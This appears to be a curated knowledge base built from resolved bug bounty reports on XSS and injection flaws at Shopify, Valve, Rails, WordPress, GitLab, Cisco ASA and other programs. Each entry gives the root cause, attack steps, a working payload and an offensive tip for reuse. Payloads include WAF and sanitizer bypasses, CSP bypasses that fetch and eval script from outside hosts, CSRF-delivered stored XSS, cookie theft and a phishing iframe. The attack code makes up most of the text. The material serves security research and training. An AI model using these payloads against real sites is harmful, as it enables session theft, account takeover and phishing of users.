Program irccloudSurface mobile-androidTag file-upload
Root cause
An exported Activity takes attacker-controlled Intent data (a URL/data string) and concatenates it unescaped into an HTML string rendered via WebView.loadDataWithBaseURL, allowing breakout of the img src attribute into script.
Method
- Find exported activity with an intent-filter (BROWSABLE) taking a data URI
- Send an Intent (from any installed app, or via web using Instant Apps / a browsable scheme) whose data string closes the img attribute and adds an event handler
- WebView executes the injected JS
Intent intent = new Intent();
intent.setClassName("com.irccloud.android", "com.irccloud.android.activity.ImageViewerActivity");
intent.setData(Uri.parse("https://x/wow.jpg' onload='window.location.href=\"http://attacker\""));
startActivity(intent);
Insight — On Android, diff the manifest for exported activities with data schemes, then trace the intent data string to any WebView.loadDataWithBaseURL/loadData sink. Unescaped concatenation into HTML = XSS reachable cross-app (and sometimes from the web via browsable intents / Instant Apps).
Real-world example
Stored XSS via fullwidth/obscure unicode normalized to '<'
◆ Medium
Specimen #231444 · rockstargames · USD 1000 · 44 votes · resolved
Program rockstargamesSurface webTag account-takeover
Root cause
Profile/crew-feed messages HTML-encode standard characters but not certain obscure/fullwidth characters; a fullwidth less-than (U+FF1C) and other unusual chars survive encoding and are later normalized so an <img onerror> executes.
Method
- Test stored fields with fullwidth/obscure unicode variants of < > and quotes
- If they pass the encoder and later normalize to ASCII, build an img/onerror payload around them
†‡•<img src=a onerror=javascript:alert('hacked')>…‰€
Insight — When standard XSS payloads get entity-encoded, probe with fullwidth/homoglyph chars (U+FF1C for '<', U+FF1E for '>'); apps that normalize unicode after (not before) sanitization reintroduce the dangerous chars.
Real-world example
Reflected XSS requiring complementary parameters to reach the sink
◆ Medium
Specimen #531042 · starbucks · awarded · 43 votes · resolved
Program starbucksSurface web
Root cause
A redeem page reflects several coupon parameters into a <script> block; the payload in xtl_amount_type only reaches the sink when the sibling params xtl_coupon_code and xtl_amount are also present/changed.
Method
- Request the redeem endpoint with all coupon params populated
- Put the breakout payload in xtl_amount_type
- Also change xtl_coupon_code and xtl_amount to force the vulnerable code path
/account/create/redeem/MCP131XSR?xtl_coupon_code=1&xtl_coupon_code=hkjhkjh&xtl_amount=jhkjhj&xtl_amount_type=ayn%3C/script%3E%3Csvg/onload=alert(document.domain)%3E
Insight — When a lone-parameter payload 'almost works' but doesn't reflect, populate sibling parameters that share the same template/handler. Some sinks only render when a full valid parameter set is supplied.
Real-world example
Reflected XSS on login page via error/username parameter
◆ Medium
Specimen #2417864 · deptofdefense · none · 43 votes · resolved
Program deptofdefenseSurface web
Root cause
Login pages reflect the error message (and username) query parameter into the page body without HTML encoding.
Method
- Append the reflecting param to the login URL with an img/onerror payload
- Send the crafted link to a victim; on load the script runs
https://TARGET/users/login?error=<img src='x' onerror="alert(document.domain)">
Insight — Login/auth pages are prime reflected-XSS surface: error=, msg=, username=, reset=, redirect params are commonly echoed back to explain a failed attempt. Always fuzz the login page's own query params.
Real-world example
Confluence .vm reflected XSS (CVE-2018-5230) via label path
◆ Medium
Specimen #781284 · lab45 · none · 42 votes · resolved
Program lab45Surface web
Root cause
Atlassian Confluence label/velocity endpoints reflect the requested path segment (ending in .vm) into the response unescaped.
Method
- Identify Confluence (wiki) endpoints
- Request a labels path with an injected iframe/javascript payload and a .vm suffix
- Payload reflects and executes
https://TARGET/wiki/labels/%3CIFRAME%20SRC%3D%22javascript%3Aalert('XSS')%22%3E.vm
Insight — Fingerprint the product first: known-CVE XSS (Confluence .vm, Cisco ASA RAWDATA, etc.) gives instant wins on outdated deployments. Map version, then fire the public PoC.
Real-world example
Reflected XSS inside inline <script> single-quoted string
◆ Medium
Specimen #2888784 · deptofdefense · none · 42 votes · resolved
Program deptofdefenseSurface web
Root cause
The 'code' parameter is reflected into multiple single-quoted JavaScript string literals inside an inline <script>; a single quote breaks out of the string and injects statements directly into JS (no HTML tags needed).
Method
- Reflect the param and view page source to find it inside 'code=...' JS strings
- Close the string with ' then add your statement, then re-open a string: ';payload;var x='
- Use backtick-call alert`XSS` to avoid parentheses if those are filtered
https://TARGET/?code=xxx';alert`XSS`;var%20x='
Insight — When a parameter lands inside an inline-script string literal, you don't need HTML tags/angle brackets - just break the quote and inject JS statements. Grep the response source for your marker to see if it is in a JS context vs HTML context.
Real-world example
Blind XSS into admin panel via abuse-report field + CSP unsafe-inline XHR-eval bypass
◆ Medium
Specimen #314126 · eternal · 350 · 41 votes · resolved
Program eternalSurface web
Root cause
A merchant 'report review' free-text field (additional_text) is stored and rendered as HTML in the internal admin review-moderation panel; the payload executes when an admin opens the report.
Method
- Submit a report-review API request with a blind-XSS payload in additional_text
- Wait for an admin to open the moderation page (guaranteed audience)
- Payload fires in admin origin; bypass CSP unsafe-inline by fetching+eval'ing external JS via XMLHttpRequest
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//ks.xss.ht");a.send();</script>
Insight — Any field an admin/staff is guaranteed to read (abuse reports, support tickets, order notes) is a blind-XSS goldmine - seed xss.ht/interactsh canaries. When CSP allows unsafe-inline but blocks external script-src, load external JS via XHR and eval(responseText).
Real-world example
Akamai/Kona WAF bypass via onbeforescriptexecute + SVG tags
◆ Medium
Specimen #263226 · gsa_bbp · awarded · 41 votes · resolved
Program gsa_bbpSurface web
Root cause
A media_url parameter reflected into the page; Akamai Kona WAF blocked common tags/events, but rare Firefox-only event handlers (onbeforescriptexecute) and SVG markup slipped through.
Method
- Confirm reflection and that standard payloads are WAF-blocked
- Substitute uncommon vectors: SVG shapes for HTML-injection proof, then a rare event handler
- Use <brute onbeforescriptexecute='confirm(document.domain)'> (Firefox) to bypass the filter
?media_url=...%22%3E%3Cbrute%20onbeforescriptexecute=%27confirm(document.domain)%27%3E
Insight — Against WAFs, enumerate obscure/less-blacklisted event handlers (onbeforescriptexecute, onpointerrawupdate, ontoggle) and non-standard/custom tag names. Manual URL review (from Google/Wayback lists) finds reflections scanners miss behind a WAF.
Real-world example
WordPress stored XSS via unprotected post_meta rendered in shortcode
◆ Medium
Specimen #402753 · automattic · awarded · 41 votes · resolved
Program automatticSurface webChain Contributor stored XSS -> admin views shortcode -> WP
Root cause
Jetpack Simple Payment products are a custom post type with edit_posts capability and unprotected meta keys; a contributor/author can set spay_price to arbitrary HTML, and output_shortcode echoes the price (via format_price) unsanitized.
Method
- As a low-priv contributor/author, create the product post type or set meta via wp_ajax_add_meta
- Set spay_price meta to an HTML/JS payload (format_price does not sanitize)
- Render the [simple-payment id=N] shortcode -> stored XSS on the page (viewable by admins)
"><img src=x onerror=alert(document.domain)>
Insight — In WordPress, audit register_post_type capabilities and whether meta keys are registered as 'protected'. Unprotected meta + a shortcode/renderer that echoes meta unescaped = stored XSS reachable by lower-privileged roles, often escalating to admin RCE via the plugin/theme editor.
Real-world example
Moodle mod/lti/auth.php redirect_uri=javascript: XSS (open redirect to XSS)
◆ Medium
Specimen #1165540 · glovo · none · 41 votes · resolved
Program glovoSurface webChain Open redirect (redirect_uri) -> javascript: scheme -> Tag open-redirect
Root cause
Moodle's LTI auth endpoint reflects/redirects the redirect_uri parameter without restricting the scheme, so a javascript: URI executes (and an https: URI is an open redirect).
Method
- Fingerprint Moodle
- Request /mod/lti/auth.php?redirect_uri=javascript:alert(document.domain)
- JS executes; same param with https://evil.com is an open redirect
https://TARGET/mod/lti/auth.php?redirect_uri=javascript:alert(document.domain)
Insight — redirect_uri / next / return / callback params that accept a full URL frequently accept the javascript: scheme too - test both open-redirect and javascript: on every redirect param. Known-app endpoints (Moodle mod/lti/auth.php) give repeatable wins.
Real-world example
Rails tag helpers XSS via user-controlled attribute NAMES and tag names
◆ Medium
Specimen #1444151 · rails · none · 41 votes · resolved
Program railsSurface web
Root cause
ActionView FormTagHelper/TagHelper escape attribute VALUES but not attribute NAMES (data-*/aria-*/hash keys) nor tag names; a user-controlled key or tag name breaks out of the tag and injects markup.
Method
- Find an app passing user input as an attribute-name key or tag name to check_box_tag/tag/content_tag etc.
- Supply a key/name that closes the tag and adds an event handler
- Rendered helper emits attacker HTML
something="something"><img src="/nonexistent" onerror="alert(1)"><div class
Insight — Framework auto-escaping usually covers attribute VALUES and text, NOT attribute names or tag names. If any HTML-builder helper takes user input as a key/tag identifier, it is very likely injectable - a whole class of 'safe' template code is actually vulnerable.
Real-world example
CSRF-delivered stored XSS (set.php -> get.php)
◆ Medium
Specimen #152013 · rockstargames · awarded · 40 votes · resolved
Program rockstargamesSurface webChain CSRF write (set.php) -> stored XSS (get.php)
Root cause
A no-token POST endpoint (set.php) stores attacker input (age, keyed by cookie) that is later reflected unsanitized by get.php; CSRF delivers the stored XSS to the victim.
Method
- POST payload to set.php via a hidden cross-origin form targeting an iframe
- On load, redirect the victim to get.php which renders the stored payload
- XSS executes in victim context (e.g. document.cookie)
<form method=POST action="http://TARGET/php/videoplayer_cache/set.php" target=csrf-frame enctype="application/x-www-form-urlencoded">
<input name=age value='<a href=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==>CLICK</a>'></form>
<script>document.forms[0].submit();frame.onload=()=>location='http://TARGET/php/videoplayer_cache/get.php'</script>
Insight — CSRF is a delivery mechanism, not just an end state. A writable no-token endpoint whose data is later rendered can seed stored XSS without the victim ever authenticating the write.
Real-world example
Loofah HTML-sanitizer bypass via SVG <use href=data:image/svg+xml;base64,...> nested onerror
◆ Medium
Specimen #1805873 · ibb · 2400 · 40 votes · resolved
Program ibbSurface web
Root cause
Loofah (>=2.1.0,<2.19.1) allowed SVG <use> whose href is a data:image/svg+xml;base64 URI; the referenced SVG (containing <image onerror=...>) is not sanitized, so nested XSS executes.
Method
- Target an app that sanitizes with Loofah and allows svg/use tags
- Base64-encode an SVG containing <image href=1 onerror=alert(window.origin)>
- Inject <svg><use href="data:image/svg+xml;base64,BASE64#x"/></svg>
- Sanitizer passes it; browser loads the nested SVG and fires onerror
<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEzMzcnIGhlaWdodD0nMTMzNyc+CjxpbWFnZSBocmVmPSIxIiBvbmVycm9yPSJhbGVydCh3aW5kb3cub3JpZ2luKSIgLz4KPC9zdmc+#x"/></svg>
Insight — SVG <use href=data:...> pulls in a whole external/inline SVG the sanitizer never inspects - a general HTML-sanitizer bypass (Loofah/rails-html-sanitizer and beyond). When svg+use are allowed, nested data-URI SVG defeats allowlist sanitization.
Real-world example
Steam profile-name stored XSS breaking out of onclick JS handler
◆ Medium
Specimen #351171 · valve · 750 · 40 votes · resolved
Program valveSurface web
Root cause
The user-search results embed the profile name inside an inline onclick="AddFriend(...,'NAME')" handler; a single quote plus statement in the name escapes the JS-string argument and runs arbitrary JS when the button is clicked.
Method
- Set profile name to break out of the AddFriend() argument: NAME'); alert(document.cookie+'
- Have a victim search for that account and click 'Add as friend'
- Injected JS runs in the victim's steamcommunity.com session
NAME'); alert(document.cookie+'
Insight — Stored values reflected into inline JS event handlers (onclick="f('VALUE')") need JS-string breakout, not HTML encoding: ' ; $ ( ) matter. A 32-char field limit still fits a jQuery-leveraged payload since jQuery is on-page.
Real-world example
Akamai open-ARL reflected XSS proxying an arbitrary origin onto a trusted host
◆ Medium
Specimen #1315898 · deptofdefense · none · 40 votes · resolved
Program deptofdefenseSurface web
Root cause
An open Akamai ARL (Akamai Resource Locator) lets you request an arbitrary upstream site through the CDN path (/7/0/33/1d/<host>/...); a reflected-XSS payload on that upstream then executes under the trusted CDN hostname.
Method
- Identify an Akamai media/CDN host using ARL v1/v2 path structure
- Craft an ARL path pointing at a page/param you control or that reflects
- Inject the XSS payload in the proxied request so it runs on the trusted domain
http://media.TARGET/7/0/33/1d/www.citysearch.com/search?what=x&where=place%22%3E%3Csvg+onload=confirm(document.domain)%3E
Insight — Akamai 'ARL' paths can proxy other origins through a trusted hostname; find open ARLs to reflect XSS (or bypass same-site trust) on the target's domain. Check for /NN/NN/NNN/NN/<full-URL> style CDN paths.
Real-world example
Reflected attribute-injection XSS triggered via Firefox accesskey
◆ Medium
Specimen #2587844 · deptofdefense · none · 40 votes · resolved
Program deptofdefenseSurface web
Root cause
An ErrMsg parameter is reflected into an HTML tag attribute; the injection adds an event handler, and a Firefox accesskey lets the attacker force activation with a keyboard shortcut instead of a mouse click.
Method
- Inject to break out of the attribute and add an onclick handler (and an accesskey)
- Send the link to a Firefox victim
- Victim presses the accesskey combo (ALT+SHIFT+X on Win/Linux) -> handler fires
Login.html?open&ErrMsg=invalidlogin%22%20test=%22X%22%20onclick=%22confirm(%27XSS%27)
Insight — When you can only inject an event-handler attribute (not a full script tag) and there's no natural click target, add accesskey=X so a keypress triggers your onclick - useful for attribute-context reflected XSS in Firefox.
Real-world example
WebView renders application/octet-stream as HTML (Content-Type ignored)
◆ Medium
Specimen #988332 · line · 500 · 37 votes · resolved
Program lineSurface mobile-iosTag file-upload
Root cause
The iOS WebView renders responses served with Content-Type application/octet-stream as HTML instead of forcing a download, so a file whose bytes are HTML/JS executes as an XSS in the app WebView context.
Method
- Find a feature that serves user-controlled files/content through the in-app WebView.
- Serve HTML/JS with Content-Type: application/octet-stream.
- Open it in the LINE iOS WebView -> the markup executes.
HTTP/1.1 200 OK
Content-Type: application/octet-stream
<script>alert(document.domain)</script>
Insight — Mobile WebViews and some browsers content-sniff and render octet-stream/unknown types as HTML. If an upload/preview endpoint you can influence goes through a WebView, try octet-stream (and missing/incorrect Content-Type) to land stored XSS despite server 'download' intent.
Real-world example
CSS injection via custom theme value -> selector break-out
◆ Medium
Specimen #679969 · slack · awarded · 37 votes · resolved
Program slackSurface desktopChain CSS injection -> html{display:none} client DoS (persisten
Root cause
A custom-theme color field was inlined into a stylesheet without validation, letting an attacker close the current rule and inject arbitrary CSS that disabled rendering (persisting across reinstall).
Method
- Preferences > Sidebar > enable custom theming
- Set the column background value to a payload that closes the declaration and adds a new rule
- App stops rendering; the malicious theme survives reinstall and can be shared to others
#FFFFFF;} html {display:none;}
Insight — Any field concatenated into a <style> block or inline style is a CSS-injection sink; use `};selector{...}` to break out. CSS alone can DoS a client and (via attribute selectors + background url) exfiltrate secrets/keystrokes.
Real-world example
Path-segment reflected XSS via isindex injection
◆ Medium
Specimen #2353131 · deptofdefense · none · 36 votes · resolved
Program deptofdefenseSurface web
Root cause
User-controlled URL path segments after a script name (e.g. /login.php/<inject>/local.css) are reflected unencoded into the HTML response, so path data becomes an injection sink just like query parameters.
Method
- Find an endpoint that reflects part of the URL path (extra path info after a .php/.aspx script, or virtual path style /a/[*]/b.css)
- Inject HTML into a path segment and observe reflection in the response body
- Use tags that fire without needing < > around a full script if the app strips some chars
GET /login.php/styles<isindex%20type=image%20src=1%20onerror=alert(1)>/"><BODY%20ONLOAD=alert(0x000123)>/local.css HTTP/1.1
Insight — Always fuzz path segments, not just query/body params. Appending /<payload>/ after a server-side script name or before a static extension (.css/.js) often reaches a reflection sink that URL/param-focused scanners miss.
Real-world example
Angular client-side template injection (CSTI) with sandbox escape
◆ Medium
Specimen #125027 · uber · USD 3000 · 35 votes · resolved
Program uberSurface web
Root cause
User input is embedded into a page that an Angular (client-side template) framework then scans; the framework evaluates any {{expression}} it finds, turning reflected input into JS execution even when raw HTML is escaped.
Method
- Inject a probe like wrtz{{7*7}} into any reflected parameter
- View rendered source for wrtz49 (49 = 7*7) to confirm the template engine evaluated it
- Swap in an AngularJS sandbox-escape expression to reach arbitrary JS/alert
https://TARGET/docs/deep-linking?q=wrtz{{7*7}}
# sandbox escape to arbitrary JS (older AngularJS):
https://TARGET/docs/?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyDescriptor(_.__proto__,$).value,0,"alert(1)")()}}zzzz
Insight — When <>" are escaped but {{7*7}} returns 49, you have CSTI not classic XSS. The primitive is angle-bracket-free code execution: test {{7*7}}, ${7*7}, etc. on any framework-rendered page. Angular's sandbox is not a security boundary.
Real-world example
Stored XSS in admin menu titles rendered unescaped
◆ Medium
Specimen #263876 · shopify · awarded · 35 votes · resolved
Program shopifySurface web
Root cause
Navigation menu titles (both the menu name and menu-item titles) are rendered in the admin area without HTML-escaping, so stored markup executes for admins.
Method
- Create/edit a navigation menu
- Set the menu Title or a Menu Item Title to an svg/onload payload
- Open the admin page that lists menus
"><svg/onload=prompt(1)>
Insight — Admin-only configuration fields (menu titles, labels, internal names) are frequently under-sanitized because they are assumed low-risk; they yield admin-context stored XSS. Always test back-office naming fields.
Real-world example
Reflected XSS in HTML attribute when WAF strips angle brackets
◆ Medium
Specimen #324136 · shopify · awarded · 35 votes · resolved
Program shopifySurface webChain storefront reflected XSS -> same-origin attack on store a
Root cause
The search q parameter is placed into the Liquid collection.title and rendered inside an HTML attribute; the WAF strips < and > but not quotes, so the payload breaks out of the attribute and adds an event handler without any tags.
Method
- Find a reflected param that lands inside an HTML attribute value
- Confirm the WAF removes < > but leaves " '
- Break out of the attribute with a quote and inject an event handler (onmouseover) plus styling to force interaction
https://STORE.myshopify.com/collections/vendors?q=X" onmouseover="alert('XSS')" style="font-size: 1001pt;
Insight — When < > are filtered but quotes survive and reflection is in an attribute, you don't need tags at all: close the attribute and add onX= handlers. Oversized style/font-size enlarges the hit area so any mouse movement triggers onmouseover.
Real-world example
Clipboard DOM XSS via pasteGFM -> innerHTML
◆ Medium
Specimen #1196958 · gitlab · awarded · 35 votes · resolved
Program gitlabSurface web
Root cause
A paste handler reads attacker-controlled clipboard data (MIME text/x-gfm-html) and assigns it directly to div.innerHTML before conversion, so copying crafted content from a malicious site and pasting into a Markdown field runs script.
Method
- Host a page that overrides oncopy and setData('text/x-gfm-html', payload)
- Lure the victim to copy any text from your page
- Victim pastes into a GitLab Markdown field where pasteGFM sets innerHTML from the clipboard HTML
document.oncopy = e => {
e.preventDefault();
e.clipboardData.setData('text/x-gfm-html', 'XSS<img/src/onerror=alert(1)>');
};
Insight — Paste handlers are an overlooked DOM-XSS source. Audit clipboardData.getData(...) flows into innerHTML/insertAdjacentHTML. Custom MIME types (text/x-gfm-html) are fully attacker-controlled and bypass any text/plain sanitization.
Real-world example
Stored XSS via application-form fields + <object> CSP bypass
◆ Medium
Specimen #1652046 · shopify · USD 1600 · 34 votes · resolved
Program shopifySurface web
Root cause
Attacker-supplied applicant profile fields (first/last name) on an influencer application are stored and later rendered to brand admins on approval without sanitization; the CSP is bypassed with an <object> data payload the policy does not restrict.
Method
- As attacker, submit an application filling name fields with an XSS payload
- Verify email so the application is delivered to the victim admin
- Victim opens/approves the application and advances to the welcome-email review where the stored payload executes
<object type="text/x-scriptlet" data="https://xss.rocks/scriptlet.html"></object>
Insight — Inbound applicant/lead/support form fields become stored XSS in the staff/admin view; the trigger is often a later workflow step (approve, review) not the first render. When script-src blocks inline JS, <object>/<embed> data= may not be covered by the policy.
Real-world example
wp_kses protocol-filter bypass: HTML entity colon without trailing semicolon
◆ Medium
Specimen #339483 · wordpress · awarded · 34 votes · resolved
Program wordpressSurface web
Root cause
wp_kses_bad_protocol_once splits on : and its HTML-encoded forms only when they include a trailing semicolon (: / :); browsers still decode : and : without the semicolon, so a javascript scheme written that way slips past the protocol check.
Method
- Find a place that stores/reflects an href/src filtered by wp_kses (or similar scheme allowlist)
- Encode the colon in javascript: as an HTML numeric/hex entity WITHOUT the trailing semicolon
- Confirm the browser still executes the javascript: URI
<a href="javascript:alert(document.domain)">num entity</a>
<a href="javascript:x=1;alert(document.domain)">hex entity</a>
Insight — Scheme/protocol filters that only recognize fully-terminated entities are bypassable because browsers tolerate entity references without the closing semicolon. Test : / : (and decimal/hex, leading zeros) against any javascript:/data: allowlist.
Real-world example
Stored XSS by relocating payload to an unsanitized field via request tampering
◆ Medium
Specimen #380045 · valve · awarded · 34 votes · resolved
Program valveSurface web
Root cause
The client sanitizes one field (guide Title) but another field sent in the same request (GameplayVersion) is stored and rendered unsanitized; intercepting the request and moving the payload between fields (preserving content-length to pass a hash check) yields stored XSS on the public page.
Method
- Set an XSS payload in a field that is client-side sanitized/escaped on render
- Intercept the upload/PUT request with a proxy
- Move the payload from the safe field into a sibling field that is rendered raw, keeping length identical to satisfy hash/integrity checks
- Republish and open the public URL that renders the tampered field
# proxy rewrite (Fiddler): move payload Title -> GameplayVersion
strBody = strBody.replace('mvc123<svg/onload=alert(document.domain)>','mvc123');
strBody = strBody.replace('7.18','7.18<svg/onload=alert(document.domain)>');
Insight — Client-side sanitization is scoped per field; sibling fields in the same request are often unprotected. Intercept and relocate the payload. Matching the original length can defeat naive content-hash integrity checks.
Real-world example
Reflected XSS inside <script> context with tag-split obfuscation
◆ Medium
Specimen #1183336 · mtn_group · none · 34 votes · resolved
Program mtn_groupSurface web
Root cause
The terminalId parameter is reflected inside a <script> block between double quotes; a URL-encoded payload that closes the script and injects a broken/rebuilt <scr\aaa/src=> tag pair evades filters and executes.
Method
- Detect reflection inside an inline <script> (probe with "();}] to break the JS)
- Close the current script and open a new one, using split/junk tags to dodge signature filters
- URL-encode the whole payload to survive path/param handling
terminalId="<<scr\aaa/src=></script><script>alert(document.cookie)</script>
# URL-encoded:
%22%3c%3c%73%63%72%5c%61%61%61%2f%73%72%63%3d%3e%3c%2f%73%63%72%69%70%74%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28...%29%3c%2f%73%63%72%69%70%74%3e
Insight — When input reflects inside inline JS, closing </script> and starting a fresh <script> is more reliable than trying to stay valid JS. Malformed/duplicated tag prefixes (<<scr\aaa) can slip past regex-based XSS filters that expect a clean <script.
Real-world example
Stored XSS via javascript: anchor in survey Thank-You header
◆ Medium
Specimen #1842822 · automattic · awarded · 34 votes · resolved
Program automatticSurface web
Root cause
A user-editable survey element (Thank You Header) stores an anchor whose href is a javascript: URI that is rendered without scheme validation, so clicking the button on the published page runs script.
Method
- Create/publish a survey/project
- Intercept the publish request and set the Thank You Header to an anchor with a javascript: href
- Open the published survey, submit, and click the resulting link
<a href='javascript:alert(document.domain);'>Click Me</a>
Insight — Any field that lets you supply link markup and is rendered on a public page is a javascript:-URI XSS candidate; check editor fields that survive on the published/customer-facing side, and intercept the request in case the UI blocks the markup.
Real-world example
Cisco ASA/FTD WebVPN reflected XSS via SAMLResponse (CVE-2023-3580)
◆ Medium
Specimen #2233421 · deptofdefense · none · 34 votes · resolved
Program deptofdefenseSurface webTag saml
Root cause
The Cisco ASA/FTD WebVPN SAML ACS endpoint reflects the SAMLResponse POST parameter without validation, giving unauthenticated reflected XSS against the appliance web interface.
Method
- Identify a Cisco ASA/FTD AnyConnect/WebVPN interface
- POST to /+CSCOE+/saml/sp/acs?tgname=a with an XSS payload in SAMLResponse
- Payload reflects and executes in the appliance origin
POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
SAMLResponse=%22%3E%3Csvg/onload=alert(document.domain)%3E
Insight — Fingerprint edge appliances (Cisco ASA/FTD, VPN portals) and map known CVEs to their specific endpoints/params. Vendor SAML/SSO callback endpoints that echo the assertion parameter are a recurring reflected-XSS surface.
Real-world example
Stored XSS via chat emoticon REPORT_URL (jQuery ajax eval + http-filter bypass)
◆ Medium
Specimen #429298 · chaturbate · USD 450 · 33 votes · resolved
Program chaturbateSurface web
Root cause
A serverside emoticon string format validates EMOTICON_URL but not REPORT_URL; the reporting flow either follows a javascript: REPORT_URL on click, or $.ajax() to it and jQuery auto-evaluates an application/javascript response, both giving stored XSS. A link filter that only strips 'http' is bypassed by htthttpps.
Method
- Inject an emoticon token with a javascript: REPORT_URL (or a URL to an attacker script)
- Bypass the topic link filter that deletes the substring 'http' by using htthttpps (collapses to https)
- Trigger the report flow: ctrl/middle-click for the javascript: variant, or click REPORT so jQuery $.ajax evaluates the returned application/javascript
# emoticon token in chat topic:
LUL %%%[emoticon blush|htthttpps://host/img.jpg|22|22|javascript:alert(1)]%%% WUT
# server response for the ajax variant:
Content-Type: text/javascript
alert(document.domain);
Insight — Structured/delimited server strings often validate only some sub-fields — fuzz every position. jQuery $.ajax dataType-sniffs and executes application/javascript responses, so any attacker-controlled ajax URL is code exec. Substring-removal filters (strip 'http') are trivially beaten by overlap (htthttpps).
Real-world example
Reflected XSS via forgotten vulnerable Flash SWF (video.js)
◆ Medium
Specimen #182160 · portswigger · awarded · 33 votes · resolved
Program portswiggerSurface web
Root cause
An old, unlinked video.js 3.2.0 SWF still hosted on the site takes a readyFunction parameter that it passes to the JS bridge, allowing reflected XSS in browsers that load Flash and do not enforce the site CSP (IE11).
Method
- Discover leftover .swf files (old players, uploaders) via wayback/content discovery
- Check known-vulnerable Flash components (video.js, flowplayer, plupload, ZeroClipboard) and their callback params
- Invoke with a JS payload in the callback param in a Flash-enabled, non-CSP browser
https://TARGET/burp/tutorials/video-js/video-js.swf?readyFunction=alert(document.domain%2b'%20XSSed!')
Insight — Forgotten legacy assets (SWF, old JS libs) are a durable XSS source; content-discover .swf and match against public Flash XSS PoCs. CSP object-src can block Flash-based XSS in modern browsers but not in engines that ignore CSP.
Real-world example
Rails ActionText stored XSS on edit page via content-attachment
◆ Medium
Specimen #2389565 · rails · none · 33 votes · resolved
Program railsSurface web
Root cause
ActionText renders an <action-text-attachment content-type="text/html" content="..."> attachment's HTML unsanitized in the Trix editor on the edit view (sanitization only applied to the show view). Stored HTML executes when a second user opens the edit page.
Method
- Scaffold rich_text model, install ActionText
- POST a record whose body contains an action-text-attachment with content-type text/html and HTML-escaped script in content=
- Open the record's /edit page (not /show) -> XSS fires
html = "<img src=. onerror='alert(location)' />"
html_text = '<action-text-attachment content-type="text/html" content="'+ escapeHTML(html) +'"></action-text-attachment>'
// POST as blog[body]=encodeURIComponent(html_text)
Insight — Rich-text/WYSIWYG editors that round-trip attachment HTML often sanitize the display view but not the editor/edit view. Always test the edit surface separately from the show surface.
Real-world example
CSP-limited stored HTML injection -> spoofed password prompt
◆ Medium
Specimen #435618 · kaspersky · awarded · 32 votes · resolved
Program kasperskySurface desktop
Root cause
Kaspersky Password Manager's extension popover.html renders saved user names without escaping. CSP blocks script execution, but HTML injection still allows injecting an external stylesheet + iframe to render a pixel-perfect fake master-password prompt inside the trusted extension UI.
Method
- From a malicious login page, submit a username padded with spaces then trailing HTML so the injection is offscreen in the save dialog
- Get KPM to save the credential (stores unescaped username)
- When the trusted popover renders, injected iframe/stylesheet spoofs the master-password prompt to phish it
username = "validuser" + " "*N + "<link rel=stylesheet href=//attacker/x.css><iframe src=//attacker/x.html>"
Insight — HTML injection under a strict CSP is not 'no impact' in privileged/browser-extension UI: injected iframes+CSS can spoof trusted native dialogs (password prompts) that the user cannot distinguish from real. Report UI-spoofing impact, not just 'CSP blocks JS'.
Real-world example
Stored XSS carried cross-app via third-party embed widget
◆ Medium
Specimen #1987172 · automattic · awarded · 32 votes · resolved
Program automatticSurface webChain Crowdsignal poll answer -> embed on wordpress.com -> X
Root cause
A poll answer created in app.crowdsignal.com is stored unescaped and, when the poll's Website Popup embed is added to a wordpress.com post, the payload executes in the wordpress.com origin. Trust boundary crossed via an integrated embed.
Method
- Create a Crowdsignal poll with answer <img src=x onerror=alert(document.cookie)>
- Copy the poll's Website Popup embed code
- Add the embed to a new wordpress.com post and publish
- Open the page -> XSS fires in wordpress.com context
<img src=x onerror=alert(document.cookie)>
Insight — Follow content across integrated products: a payload stored in a sibling SaaS (Crowdsignal) can execute in a higher-value origin (wordpress.com) when embedded. Test every first-party embed/widget as an XSS ingress into the parent domain.
Real-world example
File-upload XSS (.jpg->.html) + CRLF cookie injection chain
◆ Medium
Specimen #191380 · x · 1680 · 31 votes · resolved
Program xSurface webChain CRLF set-cookie (auth_token) -> victim can load attacker'
Root cause
ton.twitter.com served uploaded images; renaming the served URL extension from .jpg to %23.html (fragment trick) caused the HTML-content image to render as HTML -> stored XSS. Separately, a CRLF injection in the path let an attacker set arbitrary cookies (incl. auth_token) on .twitter.com.
Method
- Upload a .jpg that is actually HTML/JS via DM
- Take the served image URL, drop ':large', append %23.html to make it render as HTML -> XSS
- Chain: CRLF-inject attacker's own auth_token so the victim can view the private image URL, then redirect victim to it -> XSS runs for victim
# XSS: https://ton.twitter.com/i/ton/data/dm/.../AbCdEf.jpg%23.html
# CRLF: /1.1/ton/data/dm/x/%E5%98%8A%E5%98%8Dset-cookie%3A%20auth_token%3D<attacker_token>%3B%20Domain%3D.twitter.com%3B%20Path%3D%2F
Insight — Two individually weak bugs combine: content-sniffing file-upload XSS gated behind private access + CRLF cookie injection to plant the attacker's session so the victim can reach the malicious asset. Chain access-control-limited XSS with cookie-injection CRLF to defeat the visibility gate.
Real-world example
Second-order stored XSS via e-commerce product field
◆ Medium
Specimen #1404770 · judgeme · awarded · 30 votes · resolved
Program judgemeSurface web
Root cause
A Shopify product 'product type' value is stored unsanitized and later rendered by a third-party app's product filter, executing injected JS in the app's admin context.
Method
- Install the app on a Shopify store
- Create a product with an XSS payload in the Product Type field and save
- Open the app's product filter and select the injected type from the list -> JS executes
"><img src=x onerror=prompt(document.domain)>
Insight — Fields owned by platform A (Shopify product attributes) are often rendered unsanitized by integrated app B; inject into every product/metafield and then browse the third-party app's dashboards/filters where they surface. Classic second-order/stored XSS across a trust boundary.
Real-world example
Reflected XSS via underscore template + Firefox single-quote quirk
◆ Medium
Specimen #135217 · mapbox · 1000 · 30 votes · resolved
Program mapboxSurface web
Root cause
page.html interpolated access_token into an underscore <%= %> template without HTML escaping. Firefox does not percent-encode the single quote in the address bar, so a raw ' in access_token broke out of meta elements and injected a script tag (Firefox-only).
Method
- Put a single quote + <script> in the access_token param of the v4 map embed page
- Open in Firefox (address bar keeps the raw ')
- Payload breaks out of meta tags and executes
